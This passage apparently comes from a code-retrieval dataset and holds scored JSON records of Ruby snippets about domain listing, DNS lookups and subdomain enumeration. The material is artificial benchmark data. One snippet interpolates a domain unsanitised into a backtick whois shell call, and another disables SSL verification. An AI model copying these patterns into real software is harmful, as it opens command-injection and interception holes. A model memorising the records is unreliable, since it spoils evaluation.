"docid": "b12d9c171cd7e82ed9b7e68296d7dc42",
"score": "0.6792903",
"text": "def domains; end",
"title": ""
},
{
"docid": "1aea76136cf2493735d46794ec4eadaf",
"score": "0.67118394",
"text": "def domains\n @domains ||= ldap.search_domains.map { |base| ldap.domain(base) }\n end",
"title": ""
},
{
"docid": "1aea76136cf2493735d46794ec4eadaf",
"score": "0.67118394",
"text": "def domains\n @domains ||= ldap.search_domains.map { |base| ldap.domain(base) }\n end",
"title": ""
},
{
"docid": "9fa1e8d13191e7251c2d7ada6779c2ff",
"score": "0.66304857",
"text": "def domains_forward_names\n domains_names = []\n self.domains.forward.each do |domain|\n domains_names.push domain.name\n end\n domains_names\n end",
"title": ""
},
{
"docid": "42a1b9df94b4b988af05f87c490a65fd",
"score": "0.6482996",
"text": "def list(domain=nil)\n if domain\n @mailgun.response = Mailgun::Base.fire(:get, @mailgun.api_url + \"/domains/#{domain}\")\n else\n @mailgun.response = Mailgun::Base.fire(:get, @mailgun.api_url + \"/domains\")[\"items\"] || []\n end\n end",
"title": ""
},
{
"docid": "3743dcf7eeae2d6199679a2159363b2a",
"score": "0.6411352",
"text": "def enterprise_proxied_domains\n return @enterprise_proxied_domains\n end",
"title": ""
},
{
"docid": "9aaa2b735d902b3f42e4ef7e77c02a69",
"score": "0.634868",
"text": "def initialize\n @domains = []\n end",
"title": ""
},
{
"docid": "8974805c43cb05b22fdaed97611a984f",
"score": "0.63297814",
"text": "def index\n\t\t@domains = Domain.all\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @domains }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9c678a0d1d00becea9c05c6aeab95537",
"score": "0.6316364",
"text": "def index\n @domains = Domain.active.alphabetical.all\n\n render json: @domains\n end",
"title": ""
},
{
"docid": "deff53d8544d8e2fe98021584dc40265",
"score": "0.63017935",
"text": "def results\n get_domain_data\n end",
"title": ""
},
{
"docid": "5e6d3cb6439935aa5add5bd0ca531203",
"score": "0.6277088",
"text": "def domains(app_env)\n domains = self.settings['domains'] || {}\n domains[app_env] || []\n end",
"title": ""
},
{
"docid": "b40d3979f488bf1ff7227697d2e7f002",
"score": "0.62727714",
"text": "def index\n @domains = query(DOMAIN, :name)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @domains }\n end\n end",
"title": ""
},
{
"docid": "5a03fd9a5314e045171f0dd8a4d6c909",
"score": "0.6267781",
"text": "def list\n @client.call(method: :get, path: 'tracking-domains')\n end",
"title": ""
},
{
"docid": "4b2cec54fc778885882c7e486dfbf98d",
"score": "0.6261448",
"text": "def parse_for_urls(doc, domains)\n\tlinks = doc.search('//*[@id=\"wg0\"]/li/div/div/div[1]/h3/a')\n\tlinks.each do |link|\n\t\tdomain = get_host_name(link.attributes['href'])\n\t\tdomains[domain] = link.inner_text\n\tend\n\treturn domains\nend",
"title": ""
},
{
"docid": "c0d6f36bf310e4bf03edfaace9b17612",
"score": "0.62548864",
"text": "def gather_pollable_domains\n @logger.info 'CsyncJob Generate: Gathering current domain(s) data'\n Nameserver.select(:hostname_puny, :domain_id).all.each do |ns|\n %i[secure insecure].each do |i|\n @input_store[i][ns.hostname_puny] = [] unless @input_store[i].key? ns.hostname_puny\n end\n\n append_domains_to_list(ns)\n end\n end",
"title": ""
},
{
"docid": "2d326e0053214a0271e6d83ec5777173",
"score": "0.6187945",
"text": "def all_urls\n urls = NG_URL.all.collect {|n| n.url}\n urls.sort!\n end",
"title": ""
},
{
"docid": "4024090430c60cda3bfa2d011bd6b89e",
"score": "0.6185365",
"text": "def domains(app_env)\n name, env = app_env.split(SEPARATOR)\n domains = self.settings['domains'] || {}\n domains_from_app_config = (domains[name] && domains[name][env]) || []\n domains_from_global_config = (domains['all'] && domains['all'][env]) || []\n\n domains_from_app_config + domains_from_global_config\n end",
"title": ""
},
{
"docid": "d9df795da4b3d9a1fa6b820f00e60872",
"score": "0.61722296",
"text": "def stub_list_domains(user, domain_names)\n body = { data: [], pagination: { current_page: 1, per_page: 30, total_entries: domain_names.count, total_pages: 1 } }\n domain_names.each_with_index do |domain_name, i|\n body[:data] << Hash[\n id: i + 1,\n account_id: user.uid,\n registrant_id: nil,\n name: domain_name,\n unicode_name: domain_name,\n token: \"domain-token\",\n state: \"hosted\",\n auto_renew: false,\n expires_on: nil,\n created_at: Time.now.utc.iso8601,\n updated_at: Time.now.utc.iso8601\n ]\n end\n\n stub_request(:get, \"https://api.sandbox.dnsimple.com/v2/#{user.uid}/domains\")\n .with(headers: { 'Accept' => 'application/json', 'Authorization' => \"Bearer #{user.token}\", 'User-Agent' => \"dnsimple-ruby/#{Dnsimple::VERSION} hello-domains-rails\" })\n .to_return(status: 200, body: JSON.generate(body), headers: {})\n end",
"title": ""
},
{
"docid": "0ab330e52d6717bf1a48f6f34621e6dc",
"score": "0.61711025",
"text": "def get_domains(opts = {})\n data, _status_code, _headers = get_domains_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "56465183fa34639879c59ce90d55456a",
"score": "0.6164114",
"text": "def find_all\n scope_for(Webhook).all.collect(&:to_domain)\n end",
"title": ""
},
{
"docid": "a011bd61a589835d808a0ab48eec9fa1",
"score": "0.61633617",
"text": "def owned_subdomains\n companies.map(&:subdomain) + advised_companies.map(&:subdomain)\n end",
"title": ""
},
{
"docid": "04f22d36e8e42e4b75076a56df8a16ad",
"score": "0.6142934",
"text": "def domains_master_names\n self.domains.pluck(:name)\n end",
"title": ""
},
{
"docid": "98bc544600a70c8848c3bd53e612bb83",
"score": "0.6112396",
"text": "def all_domains(page: nil, per: nil, params:, requester: nil)\n filter_sql = qualified_domain_ids(params[:domain_filter])\n\n # get sorting rules\n sorts = params.fetch(:sort, {}).first || []\n sort = %w[name registrar_name valid_to].include?(sorts.first) ? sorts.first : 'valid_to'\n order = %w[asc desc].include?(sorts.second) ? sorts.second : 'desc'\n\n # fetch domains\n domains = qualified_domain_name_list(requester, filter_sql)\n domains = domains.includes(:registrar).page(page).per(per)\n\n # using small rails hack to generate outer join\n domains = if sorts.first == 'registrar_name'.freeze\n domains.where.not(registrars: { id: nil })\n .order(\"registrars.name #{order} NULLS LAST\")\n else\n domains.order(\"#{sort} #{order} NULLS LAST\")\n end\n\n # adding roles. Need here to make faster sqls\n domain_c = Hash.new([])\n registrant_domains.where(id: domains.map(&:id)).each do |d|\n domain_c[d.id] |= ['Registrant'.freeze]\n end\n\n DomainContact.where(contact_id: id, domain_id: domains.map(&:id)).each do |d|\n domain_c[d.domain_id] |= [d.type]\n end\n\n domains.each { |d| d.roles = domain_c[d.id].uniq }\n domains\n end",
"title": ""
},
{
"docid": "388388c64ab0aa20d1fece05a04dbbd6",
"score": "0.61041313",
"text": "def index\n @domains = Domain.all\n end",
"title": ""
},
{
"docid": "f9f9202b5ac45276da6e1706c56856e9",
"score": "0.60960346",
"text": "def print_domain_names(company_names, categories = nil)\n company_names.each do |name|\n request_handler = SearchHelper::Request.new(name)\n company_objects = request_handler.fetch_domain(categories)\n sort_and_print_results(name, company_objects)\n end\n end",
"title": ""
},
{
"docid": "0efcc7ffbcbcdb24e6615bd5b9cc0854",
"score": "0.60720474",
"text": "def get_subdomains entity_name, api_key, headers, url\n\n response = http_get_body(url,nil,headers)\n json = JSON.parse(response)\n\n #check if entries different to null\n if json[\"count\"] != 0\n # Create subdomains\n json[\"cidr\"][\"cidr16\"][\"results\"].each do |e|\n e[\"data\"][\"domains\"].each do |s|\n _create_entity(\"DnsRecord\", \"name\" => s)\n end\n end\n # Create subdomains\n json[\"cidr\"][\"cidr24\"][\"results\"].each do |e|\n e[\"data\"][\"domains\"].each do |s|\n _create_entity(\"DnsRecord\", \"name\" => s)\n end\n end\n\n # Create list of related organizations\n json[\"data\"][\"as\"][\"results\"].each do |e|\n _create_entity(\"Organization\", \"name\" => e[\"entity\"][\"organization\"])\n end\n\n # Create list of related countrys\n json[\"data\"][\"country\"][\"results\"].each do |e|\n _create_entity(\"PhysicalLocation\", \"name\" => e[\"entity\"][\"value\"])\n end\n\n # Create list of related IPs\n json[\"data\"][\"ip\"][\"results\"].each do |e|\n _create_entity(\"IpAddress\", \"name\" => e[\"entity\"][\"value\"])\n end\n end\n end",
"title": ""
},
{
"docid": "967088405eb358672b49acd8305e3397",
"score": "0.60595864",
"text": "def index\n @subdomains = Subdomain.all\n respond_with @subdomains\n end",
"title": ""
},
{
"docid": "1aecc54566af6f4e16aa89e7511d2102",
"score": "0.6025955",
"text": "def marketplace_domains\n marketplace_names.map { |domain| \"#{domain}.net\" }\n end",
"title": ""
},
{
"docid": "eaaa5d8d90f0d2d42f54860ce35b6bc3",
"score": "0.5980877",
"text": "def dns_responses\n decoded_responses = udp_packets_with_src_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) }\n\n decoded_responses.each_with_object({}) do |response, memo|\n name = response.question.first.first.to_s\n memo[name] ||= []\n response.answer.each do |ans|\n case ans.last\n when Resolv::DNS::Resource::IN::CNAME\n memo[name] << ans.last.name\n when Resolv::DNS::Resource::IN::AAAA, Resolv::DNS::Resource::IN::A\n memo[name] << ans.last.address\n else\n puts ans.last\n end\n end\n end\n end",
"title": ""
},
{
"docid": "524e80f89c10487380864973d6de5909",
"score": "0.597047",
"text": "def iis_domains\n domains = []\n\n # Use the ADSI interface to get all configured domains inside IIS.\n service = WIN32OLE.connect(\"IIS://localhost/w3svc\")\n service.each do |server|\n next unless server.Class == \"IIsWebServer\"\n\n #domain = server.ServerComment\n ip, port, domain = server.ServerBindings.first.split(\":\", 3)\n\n # ignore servers without a \"host\" header (except for the default server).\n if domain.empty?\n next unless server.Name == \"1\"\n domain = \"localhost\"\n end\n\n path = server.GetObject(\"IIsWebVirtualDir\", \"root\").Path\n # NB: Since we don't have the WIN32 extension, I'll not expand the\n # directory, though, we could use the \"Scripting.Shell\" COM object...\n #log_path = Win32::Registry.expand_environ(server.LogFileDirectory) + \"\\\\W3SVC\" + server.Name\n log_path = server.LogFileDirectory + \"\\\\W3SVC\" + server.Name\n\n domains << [domain, path, log_path]\n end\n\n domains\nend",
"title": ""
},
{
"docid": "dd793708ea341b88d006d64a45a8356e",
"score": "0.594835",
"text": "def grabUrlsFromDomain(domain)\n @htmlDocument = Nokogiri::HTML(open(domain,{ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE}))\n if @htmlDocument.nil?\n abort red('Something went wrong ...')\n else\n puts green('Fetched.')\n end\n\n #Varibles\n tempArray = Array.new\n count = 1\n progress = ProgressBar.create(:starting_at => 0, :total => 200)\n\n @htmlDocument.xpath('//a[@href]').each do |link|\n #se for do mesmo dominio colocar no array\n if !link['href'].to_s.include? \"http://\"\n if !link['href'].to_s.include? \"https://\"\n tempUrl = domain+\"/\"+link['href']\n tempArray << tempUrl+\"\\n\"\n end\n end\n\n if count <= 200\n progress.increment\n end\n\n count+=1\n end\n\n #make they uniq then return\n return tempArray.uniq!\n\n end",
"title": ""
},
{
"docid": "e0d403750a7325ee99f949945a17afce",
"score": "0.59418124",
"text": "def to_a\n result = []\n @domains.values.each do |paths|\n paths.values.each do |cookies|\n cookies.values.inject result, :<<\n end\n end\n result\n end",
"title": ""
},
{
"docid": "eadf2e5163d95e5d3839fe8a0f6cdcea",
"score": "0.59043735",
"text": "def same_domain_urls\n (css_links + javascript_links + image_links + links).select{|url| \n begin \n URI.parse(url).host == @url.host\n rescue URI::InvalidURIError => e\n puts \"invalid uri \", e \n end\n }.uniq\n end",
"title": ""
},
{
"docid": "2a8773fd75c90501a54b2b482c53b057",
"score": "0.586296",
"text": "def process_domains\n domains.each do |domain|\n params = options\n params[:host] = configuration.host\n params[:server] = servers[domain][\"server\"]\n compiler = YMDP::Compiler::Base.new(domain, git_hash, params)\n \n compiler.process_all\n end\n end",
"title": ""
},
{
"docid": "96d4ea4876720af503dd579aeed7af87",
"score": "0.58544505",
"text": "def subdomains(query)\n get('enrichment/subdomains', {'query' => query})\n end",
"title": ""
},
{
"docid": "41891717166bb25dec11d777445f6b66",
"score": "0.58515644",
"text": "def for_url( url )\n uri = to_uri( url )\n request_path = uri.path\n request_domain = uri.host\n\n return [] if !request_domain || !request_path\n\n @domains.map do |domain, paths|\n next if !in_domain?( domain, request_domain )\n\n paths.map do |path, cookies|\n next if !request_path.start_with?( path )\n\n cookies.values.reject{ |c| c.expired? }\n end\n end.flatten.compact.sort do |lhs, rhs|\n rhs.path.length <=> lhs.path.length\n end\n end",
"title": ""
},
{
"docid": "455124ceb8e2e175eb5438e23f49e081",
"score": "0.58480567",
"text": "def related_domains\n ids = DomainContact.select(:domain_id).where(contact_id: id).limit(11).map(&:domain_id).uniq\n res = Domain.where(id: ids).or(Domain.where(registrant_id: id)).select(:name, :uuid).limit(11)\n res.pluck(:name, :uuid).map { |name, id| { name: name, id: id } }\n end",
"title": ""
},
{
"docid": "c6d56c63dd7e02dd7a2e7d2dd918e8b3",
"score": "0.58451843",
"text": "def domains()\n return MicrosoftGraph::Domains::DomainsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"title": ""
},
{
"docid": "1959591605bcf1d47c02ecc8a8d82d4b",
"score": "0.5845047",
"text": "def domains_master_or_reverse_or_slave_names\n domains_names = []\n self.domains.master_or_reverse_or_slave.each do |domain|\n domains_names.push domain.name\n end\n domains_names\n end",
"title": ""
},
{
"docid": "9777104b1b472640235edbb29da514de",
"score": "0.58174753",
"text": "def get_ext_sites\n\t\tputs \"getter to retrieve all the external hosted sites. \" if @verbose\n\t\tsites=Array.new\n\t\t@known_sites.keys.map do |key|\n\t\t\tif @known_sites[key]['status']==\"ext_hosted\"\n\t\t\t\tsites.push(key)\n\t\t\tend\n\t\tend\n\t\tsites.sort!\n\t\treturn sites\n\trescue Exception => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend",
"title": ""
},
{
"docid": "b497600a04d7ad6a3a613598733f01a9",
"score": "0.58010626",
"text": "def get_domains_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DomainControllerApi.get_domains ...'\n end\n # resource path\n local_var_path = '/domains'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<DomainPreview>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DomainControllerApi#get_domains\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "8ac9212ddacb7f003636eaf5778c67b2",
"score": "0.58000803",
"text": "def list_domains(opts = {})\n data, _status_code, _headers = list_domains_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "120d55f16ebd31ab93cf9da5c4e93bef",
"score": "0.5771172",
"text": "def get_whois_nameservers(domain)\n whois_output = `whois #{domain}`\n soa = nil\n whois_lines = whois_output.split(/\\n+/)\n nameserver_lines = whois_lines.select { |line| line =~ /^Name Server:/ }\n nameservers = nameserver_lines.map { |line| line.split.last.downcase }.uniq\n # whois records don't have trail '.'; NS records do; add trailing '.'\n nameservers.map { |ns| ns << '.' }\n nameservers\nend",
"title": ""
},
{
"docid": "b7009eff00f75acfe4ffb5f646835c26",
"score": "0.5757271",
"text": "def extract_domain_specific_paths\n links.map do |link|\n uri = Addressable::URI.parse(link.strip)\n if uri.hostname.nil? || uri.hostname == @uri.hostname\n normalize_path uri.path\n end\n end.compact\n end",
"title": ""
},
{
"docid": "76fab452514e725bced1aab277541aec",
"score": "0.574678",
"text": "def groups\n @domains.map { |domain|\n groups_for_domain(domain)\n }.flatten\n end",
"title": ""
},
{
"docid": "dedb48d48df0c8053953a5c1e5ab83bf",
"score": "0.5741165",
"text": "def resolve!\n @domains.map(&:resolve!)\n end",
"title": ""
},
{
"docid": "2592e940404fcc64bb1820aa20ef43f2",
"score": "0.5731666",
"text": "def get_universal_cert_domains\n [\n \"acquia-sites.com\",\n \"careers.talemetry.com\",\n \"cdn.myqcloud.com\",\n \"chinacloudsites.cn\",\n \"chinanetcenter.com\",\n \"cloudflare.com\",\n \"cloudflaressl.com\",\n \"distilnetworks.com\",\n \"edgecastcdn.net\",\n \"edlio.net\", # https://edlio.com/\n \"fastly.net\",\n \"freshdesk.com\",\n \"googlevideo.com\",\n \"helloworld.com\",\n \"hexagon-cdn.com\",# TODO - worth revisiting,may include related hosts\n \"incapsula.com\",\n \"jiveon.com\",\n \"kavasa.in\",\n \"lithium.com\",\n \"pantheon.io\",\n \"sucuri.net\",\n \"swagcache.com\",\n \"wpengine.com\",\n \"yottaa.net\",\n \"zohohost.com\"\n ]\n end",
"title": ""
},
{
"docid": "0d4cdcdb6459a4f254305502bc2ff3fb",
"score": "0.5691603",
"text": "def index\n @domains = current_user.domains || []\n end",
"title": ""
},
{
"docid": "fe22d5ebe49b8e31dd5d3ccd98296bc7",
"score": "0.5684507",
"text": "def index\n @ensembl_subdomains = EnsemblSubdomain.all\n end",
"title": ""
},
{
"docid": "42ed6c3ba7524380f8cb63214da3ac04",
"score": "0.5678588",
"text": "def show_domains\n render json: dme.show_domains\n end",
"title": ""
},
{
"docid": "fbe6d593181f1035776ac131548a370e",
"score": "0.56701845",
"text": "def search_domains_for(domain)\n domain.downcase!\n serach_domains = []\n \n if domain =~ CookieStore::Cookie::IPADDR\n serach_domains << domain\n else\n domain = domain + '.local' if !(domain =~ /.\\../)\n serach_domains << domain\n serach_domains << \".#{domain}\"\n \n # H is the host domain name of a host; and,\n # H has the form A.B; and\n if domain =~ /[^\\.]+(\\..+)/\n reach = $1\n # B has at least one embedded dot\n if reach =~ /.[\\.:]./\n # B has at least one embedded dot, or B is the string \"local\".\n # then the reach of H is .B.\n serach_domains << reach\n end\n end\n end\n \n serach_domains\n end",
"title": ""
},
{
"docid": "99b403d54138fdf02368cbeccae979ef",
"score": "0.5667946",
"text": "def read_domains(org_guid = nil, space_guid = nil)\n domains = []\n\n type = space_guid == nil ? (org_guid == nil ? :none : :org) : :space\n\n cc_domains = @client.domains\n domains_api = case type\n when :org then @client.organization(org_guid).domains + cc_domains.select { |cc_domain| cc_domain.owning_organization == nil }\n when :space then @client.space(space_guid).domains\n else cc_domains\n end\n\n domains_api.each do |domain_api|\n owning_org = domain_api.owning_organization\n owning_org_name = owning_org == nil ? \"Shared\" : owning_org.name\n\n domain_name = domain_api.name\n domain_wildcard = domain_api.wildcard\n domain_spaces = domain_api.spaces rescue []\n domain_guid = domain_api.guid\n\n domains << Domain.new(domain_name, domain_wildcard, owning_org_name, domain_spaces, domain_guid)\n end\n\n domains.uniq {|domain| domain.name }\n end",
"title": ""
},
{
"docid": "72f7cdba370f502794aca12876af1e47",
"score": "0.56638944",
"text": "def fetch_with_elimination\n MAX_ELIMINATION_TRIES.times do\n response = get_subdomains!\n break unless response.items_present?\n break if query.size_exceeded?\n query.add_subdomains(response.links)\n end\n end",
"title": ""
},
{
"docid": "7acb642447733f2ecd78d01820bc891d",
"score": "0.56588626",
"text": "def index\n @crm_domains = Crm::Domain.all\n end",
"title": ""
},
{
"docid": "df48ccaa4fab3fb423b39ae788fcedb5",
"score": "0.5655847",
"text": "def enterprise_network_domain_names\n return @enterprise_network_domain_names\n end",
"title": ""
},
{
"docid": "61d0c6efab386585a4d11f2051df961a",
"score": "0.5646391",
"text": "def enterprise_proxied_domains=(value)\n @enterprise_proxied_domains = value\n end",
"title": ""
},
{
"docid": "fe2d985f74dd2ac4b5a1d80893180eec",
"score": "0.5628056",
"text": "def domains_slave_names\n domains_names = []\n self.domains.slave.each do |domain|\n domains_names.push domain.name\n end\n domains_names\n end",
"title": ""
},
{
"docid": "6656ec14a1188c2e72cf122b9cdebd95",
"score": "0.5627171",
"text": "def get_all_new_urls(results)\n all_urls = results.map { |result| result.absolute_linked_resources }.flatten\n all_urls.uniq!\n #TODO: handle any other url parsing error\n all_urls.delete_if { |url| !a_domain_we_care_about?(url)}\n all_urls.delete_if { |url| i_have_seen_this_url_before?(url)}\n end",
"title": ""
},
{
"docid": "9a93fe5611e9fa4b52090f232e3e9c72",
"score": "0.5623282",
"text": "def parse_domain_list\n search = config.scan(/(?<=^ip\\sdomain-list\\s).+$/)\n { domain_list: search }\n end",
"title": ""
},
{
"docid": "07b1751ed1e4e3d67583da046fd66354",
"score": "0.56217784",
"text": "def hosts\n h = []\n r = ('a'..'z')\n r.each do |i|\n r.each do |j|\n r.each do |k|\n h << i.to_s + j + k + \".com\"\n end\n end\n end\n h\n end",
"title": ""
},
{
"docid": "aa42d753ecbcc5d6616d880f64caf355",
"score": "0.5615735",
"text": "def print_known_sub_domains\n\t\tputs \"\\nSummary of known Internet Sub-domains:\"\n\t\tself.known_internet_sub_domains.keys.sort.each do |domain|\n\t\t\tputs domain\n\t\tend\n\t\tputs \"End of the summary\"\n\tend",
"title": ""
},
{
"docid": "09114231a467158867e49a1eb2933d92",
"score": "0.55929077",
"text": "def subdomains(tld_length = 1)\n return [] unless named_host?(host)\n parts = host.split('.')\n parts[0..-(tld_length+2)]\n end",
"title": ""
},
{
"docid": "bef1e459081f2317a42b742ae846494e",
"score": "0.5583223",
"text": "def index\n @http_domain_rules = collection.all\n\n respond_to do |format|\n format.json { render json: @http_domain_rules }\n end\n end",
"title": ""
},
{
"docid": "2107358c300899812c52ac6388b2cac8",
"score": "0.5579649",
"text": "def index\n @subdomains = Subdomain.all\n end",
"title": ""
},
{
"docid": "1e74adba193631b548adaf6d8465ca8b",
"score": "0.5574252",
"text": "def index\n @tmp_domain_names = TmpDomainName.all\n end",
"title": ""
},
{
"docid": "2470300c00f556b08770f77690e6bb27",
"score": "0.55740625",
"text": "def getNameserverIPs(domain, addrtype = Resolv::DNS::Resource::IN::A)\n myresolv = Resolv::DNS.new()\n\n nameserver_addresses=Array.new\n myresolv.each_resource(domain, Resolv::DNS::Resource::IN::NS) do |nsrsc|\n nameserver_addresses.push(myresolv.getresource(nsrsc.name, addrtype).address)\n end\n\n myresolv.close()\n\n return nameserver_addresses\nend",
"title": ""
},
{
"docid": "206fdba3afaf018861a24ead5257a04a",
"score": "0.556937",
"text": "def download_sites_urls(response)\n return [] if !response.is_a?(Hash) ||\n (sites_urls = response.dig('receipt', 'sites_urls')).nil?\n sites_urls.map do |url|\n Infosimples::Data::HTTP.request(url: url, http_timeout: 30)\n end\n end",
"title": ""
},
{
"docid": "8abc537be018bbe162e000e93db47902",
"score": "0.55618787",
"text": "def get_domain_data\n get_stored_paths.inject({ 'domain' => base_uri.hostname, 'paths' => {}}) do |hsh, path|\n hsh['paths'][path] = get_path_data(path)\n hsh\n end\n end",
"title": ""
},
{
"docid": "00104d19ff7a4caea189651163fd7086",
"score": "0.5561196",
"text": "def search_subdomains entity_name, headers\n\n # Set the URL for ip open ports\n url2 = \"https://api.spyse.com/v3/data/domain/subdomain?limit=100&domain=#{entity_name}\"\n\n # make the request\n response2 = http_get_body(url2,nil,headers)\n json2 = JSON.parse(response2)\n\n json2[\"data\"][\"items\"].each do |result|\n\n # Create related subdomains\n create_dns_entity_from_string(result[\"name\"], nil, false, { \"extended_spyse\" => result})\n\n # Create SslCertificate\n if result[\"cert_summary\"][\"fingerprint_sha256\"] != \"\"\n #_create_entity(\"SslCertificate\", \"name\" => result[\"cert_summary\"][\"fingerprint_sha256\"], \"extended_spyse\" => result[\"cert_summary\"])\n end\n\n # Create related IpAddress, physical location and ISP organization\n # if result[\"dns_records\"]\n # result[\"dns_records\"][\"A\"].each do |ip_result|\n # if ip_result[\"ip\"] != \"\"\n # _create_entity(\"IpAddress\", \"name\" => ip_result[\"ip\"], \"extended_spyse\" => ip_result)\n # end\n # if ip_result[\"country\"] != \"\"\n # _create_entity(\"PhysicalLocation\", \"name\" => ip_result[\"country\"])\n # end\n # if ip_result[\"org\"] != \"\"\n # _create_entity(\"Organization\", \"name\" => ip_result[\"org\"])\n # end\n # end\n # end\n\n end\n end",
"title": ""
},
{
"docid": "17b330ff2efbdc673f2812a4fe99f8ce",
"score": "0.55225503",
"text": "def base_domain(response)\n if response.respond_to? :request\n host = response.request.host.sub /:\\d+$/, ''\n return if host =~ /^([\\d.]+|localhost)$/\n\n host =~ /([^.]*)\\.([^.]*|..\\...|...\\...|..\\....)$/\n \".#{$1}.#{$2}\"\n end\n end",
"title": ""
},
{
"docid": "3802567bb55c139e53d5f632c1b2d473",
"score": "0.5519907",
"text": "def get_sub_domains(exclude_subdomains=\"\")\n #strip the link of current subdomains\n link = @item.links.where(:link_type_id => 3)\n if !link.blank?\n current_link = get_domain(link.first.link_url)\n #do a google search for link\n s = google_search(exclude_subdomains, current_link)\n #create an array of links from google search, group by url\n if s.estimated_count > 0 \n f = s.map { |x| \"http://\" + x.visible_uri }.uniq \n #strip each link to its subdomain\n subdomains = []\n f.each do |url|\n subdomains << get_subdomain(url)\n end\n end\n end\n if subdomains and subdomains != [\"\"]\n #add them to the subdomains list if they don't already exist\n #add them to the city if they don't already exist\n subdomains.each do |subdomain|\n if subdomain != \"\"\n sub = Subdomain.find_or_create_by_name(subdomain)\n OrganizationSubdomain.find_or_create_by_subdomain_id_and_organization_id(sub.id, @item.id)\n end\n end\n return true\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "fb0140f3399aa99b18701cdc94dd4e21",
"score": "0.5506897",
"text": "def get_all_subdomains\n #grab all the current subdomains, do a search in google\n subdomains = @item.subdomains.map {|x| \"-\" + x.name}.join(\" \")\n f = get_sub_domains(subdomains)\n #add another delayed job, unless it returns nil.\n whisk = WhiskBatter.new(@item)\n whisk.delay.get_all_subdomains unless f.nil? \n end",
"title": ""
},
{
"docid": "48ac21316af50db2b57ac23f0759b7e7",
"score": "0.5506084",
"text": "def get_by_domain\n render json: Url.where(\"domain LIKE :dom\", {:dom => \"%#{params[:domain]}%\"})\n end",
"title": ""
},
{
"docid": "2a439f111cf7882dc72fbab5884eaeee",
"score": "0.5495228",
"text": "def site_lookup(domain)\n tracker=Wmap::SiteTracker.instance\n tracker.verbose=false\n #first order search\n tracker.known_sites.each do |key,val|\n if key.include?(domain.strip.downcase) && key.include?(\"https\")\n tracker=nil\n return [key] + val.values\n end\n end\n #second order search\n tracker.known_sites.each do |key,val|\n if key.include?(domain.strip.downcase)\n tracker=nil\n return [key] + val.values\n end\n end\n tracker=nil\n return [nil]*9\n end",
"title": ""
},
{
"docid": "ad711163c1feee83b5bba1e585ff6ae0",
"score": "0.5493418",
"text": "def index\n @email_domains = Email::Domain.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @email_domains }\n end\n end",
"title": ""
},
{
"docid": "5c9bf626ace2f89c03290f0bdd5dd37e",
"score": "0.5491577",
"text": "def dnsbls\n @dnsbls.keys\n end",
"title": ""
},
{
"docid": "af793fd088125f5fd4c53d17cb5103e8",
"score": "0.5470626",
"text": "def get_domains(node, appname, env = 'getcourse')\n unless node.fetch('deploy', {}).fetch(appname, {})['domains'].nil?\n return node['deploy'][appname]['domains'].join(' ')\n end\n\n unless node.fetch('vagrant', {}).fetch('applications', {}).fetch(appname, {})['domain_name'].nil?\n domains = node['vagrant']['applications'][appname]['domain_name']\n if domains.is_a?(String)\n return domains\n else\n return domains.join(' ')\n end\n end\n\n unless node.fetch(env, {}).fetch('domain', {})[appname].nil?\n Chef::Log.warn(\"Using old node[#{env}]['domain'][appname] domain config\")\n return node[env]['domain'][appname]\n end\n\n ''\n end",
"title": ""
},
{
"docid": "04561ace1d1252fdbe53ce699b854464",
"score": "0.5456183",
"text": "def entries\n STDOUT.puts db.entries(@params[:domain]).map{|row| row.to_parsed_h}.to_json\n end",
"title": ""
},
{
"docid": "59f490d098e991fbf368c0fbfbf79ff1",
"score": "0.5422714",
"text": "def fetch_with_limit\n start_result = 10\n start_result.step(RESULTS_LIMIT, 10) do |number|\n response = get_subdomains!(number)\n break unless response.items_present?\n end\n end",
"title": ""
},
{
"docid": "5b28e36257aaae6abc43159193e3829e",
"score": "0.54134893",
"text": "def setup_domains\n authorize unless @heroku\n each_heroku_app do |heroku_env, app_name, repo|\n # get the domains that we are aiming towards\n domains = @config.domains(heroku_env)\n\n # get the domains that are already on the servers\n existing_domains = (@heroku.list_domains(app_name) || []).map{|a| a[:domain]}\n\n # remove the domains that need to be removed\n existing_domains.each do |existing_domain|\n # check to see if we need to delete this domain\n unless domains.include?(existing_domain)\n # delete this domain if they arent on the approved list\n destroy_command \"heroku domains:remove #{existing_domain} --app #{app_name}\"\n end\n end\n\n # add the domains that dont exist already\n domains.each do |domain|\n # check to see if we need to add this domain\n unless existing_domains.include?(domain)\n # add this domain if they are not already added\n creation_command \"heroku domains:add #{domain} --app #{app_name}\"\n end\n end\n\n # display the destructive commands\n output_destroy_commands(app_name)\n end\n end",
"title": ""
},
{
"docid": "edaa11b06f447e87d0702f967152368a",
"score": "0.5412413",
